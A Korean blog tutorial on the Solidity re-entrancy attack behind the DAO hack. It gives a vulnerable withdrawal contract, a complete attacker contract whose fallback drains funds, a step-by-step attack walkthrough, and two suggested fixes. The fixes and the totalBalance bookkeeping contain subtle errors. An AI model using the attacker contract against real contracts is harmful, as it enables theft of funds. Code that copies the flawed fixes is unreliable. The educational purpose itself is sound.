이더리움 솔리디티 — (Chap. 3)

JeungJoo Lee
8 min readNov 13, 2018

--

Chaper3 에서는 Re-entrancy(재진입성) 공격에 대해 알아보도록 하자.

이 때 Re-entrancy 공격으로 인해 몇 백만개의 이더가 16년도에 해킹을 당했다. 이 사건을 우리는 DAO Hacking 이라고 부르는데 이 해킹사건으로 인해 이더리움 클래식과 이더리움이 체인을 분리하게 된다. 이 때 말들이 많았다.. 포용하고 가는게 탈중앙화다. 아니다…라고…. 오늘 우리는 이 때의 공격을 소스로 확인해볼 것이다.

바로 Chap. 2에서 배웠던 주소(address) 의 멤버함수의 call 함수로 해킹이 되었는데 소스를 확인해 보자.

pragma solidity ^0.4.25;// 공격 대상의 컨트랙트
contract Reentrance {

uint public totalBalance;
mapping (address => uint) userBalance;

function getBalance(address u) public constant returns(uint){
return userBalance[u];
}
function addToBalance() public payable{
userBalance[msg.sender] += msg.value;
totalBalance += msg.value;
}
function withdrawBalance() public {
if( ! (msg.sender.call.value(userBalance[msg.sender])() ) ){
revert();
}
userBalance[msg.sender] = 0;

totalBalance -= userBalance[msg.sender];
}

}

우선 이더를 모금하는 DAO 컨트랙트를 만들었다는 가정을 해보자. 컨트리뷰터들을 addToBalance() 로 되어있는 payable로 되어있는 함수를 통해 이더를 컨트랙트에 송금하게 된다.

송금을 하게 되면 위와 같이 15 ether 가 컨트랙트 내부의 누가 얼마나 송금했는지 userBalance 라는 mapping 함수를 통해 기록이 되고 모금이 된다.

이제 공격자의 컨트랙트를 만들어보자.

// 공격자의 hacker 컨트랙트
contract hacker {

address owner;
address target;

modifier onlyOwner() {
require(owner == msg.sender);
_;
}

constructor(address _target) public {
owner = msg.sender;
target = _target;
}

function callAddToBalance() public payable {
target.call
.value(msg.value)(bytes4(keccak256("addToBalance()")));
}

function launch_attack() public{
target.call(bytes4(keccak256("withdrawBalance()")));
}
function () public payable {
target.call(bytes4(keccak256("withdrawBalance()")));
}

function getMoney() public onlyOwner {
selfdestruct(owner);
}
}

위의 해커 컨트랙트에서 유심히 봐야할 부분은 fallback 함수와 launch_attack() 이다.

공격 대상이 되는 Reentrancy 컨트랙트를 해커의 컨트랙트에서 launch_attack() 함수 내부의 call 을 통해 실행을 할 수 있게 되는데 이 때 어떠한 현상이 발생하는 지 확인해보자.

사전에 공격자 Contract에서 1ether 정도를 이더 모금을 하는 Reentrancy 컨트랙트로 송금한다.

function callAddToBalance() public payable {
target.call
.value(msg.value)(bytes4(keccak256("addToBalance()")));
}

송금을 하였다면 이제는 launch_attack() 함수를 실행하면 되는데 이 때 launch_attack은 Reentrancy의 withdrawBalance() 함수를 호출하게 되고 Reentrancy는 아래와 같은 코드를 통해 송금을 한 수신자의 계좌로 해당 Balance 만큼 다시 송금을 해준다. 이 때 EOA라면 문제가 없겠지만 CA (Contract Address)라면 아래와 같은 fallback 함수가 실행이 된다.

function () public payable {
target.call(bytes4(keccak256("withdrawBalance()")));
}

Reentrancy의 withdrawBalance()를 다시 호출하게 되고 무한 반복되다 Out of Gas 가 발생이 되고서야 종료가 된다. 이제 이더가 공격자의 Hacker 컨트랙트로부터 탈취되었고 getMoney() 함수를 실행하면 컨트랙트는 파기되고 해당 금액을 Hacker EOA 계좌로 송금하게 된다.

15이더는 공격자의 계정으로 하여금 들어가게 된다. ( 초기엔 100.9 이더였음 )

다시 공격을 당했던 withdrawBalance를 확인해보자

function withdrawBalance() public {
if( ! (msg.sender.call.value(userBalance[msg.sender])() ) ){
revert();
}
userBalance[msg.sender] = 0;

totalBalance -= userBalance[msg.sender];
}

주소(Address)가 가지고 있는 멤버 함수의 call은 exception이 발생하더라도 리턴 값을 false만 줬지 계속 발생이 된다고 했다. 이 때 공격자는 컨트랙트 주소이기 때문에 fallback을 호출하면서 Out Of Gas 가 발생할 때까지 본인이 입금한 만큼의 이더를 계속 출금할 수 있게 되는데 단순히 call 때문만은 아니라 userBalance[msg.sender] = 0 으로 초기해 주는 값이 뒤에 선언이 되어있다보니 계속적으로 반복하여 출금을 해주는 형태가 되는 것이다.

이 문제를 방지 하기 위한 코드는 아래와 같다.

// 첫 번째 솔루션
function withdrawBalance_fixed() public {
uint amount = userBalance[msg.sender];
userBalance[msg.sender] = 0;
totalBalance -= userBalance[msg.sender];
if( ! (msg.sender.call.value(amount)() ) ){
revert();
}
}

위의 코드와 같이 유저의 잔고를 먼저 0으로 업데이트 해주는 것이다. 하지만 멤버 함수의 call은 출금시 권고하는 방식이 아니다. 따라서, 아래와 같이 개선해 줄 수 있다.

// 두 번째 솔루션   
function withdrawBalance_fixed_2() public {
msg.sender.transfer(userBalance[msg.sender]);
userBalance[msg.sender] = 0;
totalBalance -= userBalance[msg.sender];
}

바로 transfer를 이용하는 것인데 transfer의 특징은 Chap.2 에서도 말하였지만 내부적으로 송금시 에러가 발생하게 되면 revert가 되고 종료가 된다. call이나 send처럼 무한 반복을 하지 않는다. 그렇기 때문에 솔리디티 정식 문서에서는 이더를 사용자한테 출금할 때는 transfer를 사용하라는 것이다.

이상 이더리움의 주소(Address) 타입의 멤버변수와 함수에 대해 알아보았다 ~! 추후에 문법이나 예제들이 필요한 부분이 있다면 다시 올리도록 하겠다~

  • 저는 블록체인 개발사 (주)34일에서 블록체인 엔지니어로 일하고 있습니다.
  • 880만 팔로워 전세계 1위 한류 미디어 케이스타라이브(KStarLive)와 함께 만든 한류 플랫폼에서 사용되는 케이스타코인(KStarCoin) 프로젝트를 진행 중입니다. 팬 커뮤니티 활동을 하면서 코인을 얻을 수 있으며, 한류 콘텐츠 구매, 공연 예매, 한국 관광 상품 구매, 기부 및 팬클럽 활동 등에 사용 될 계획입니다.

--

--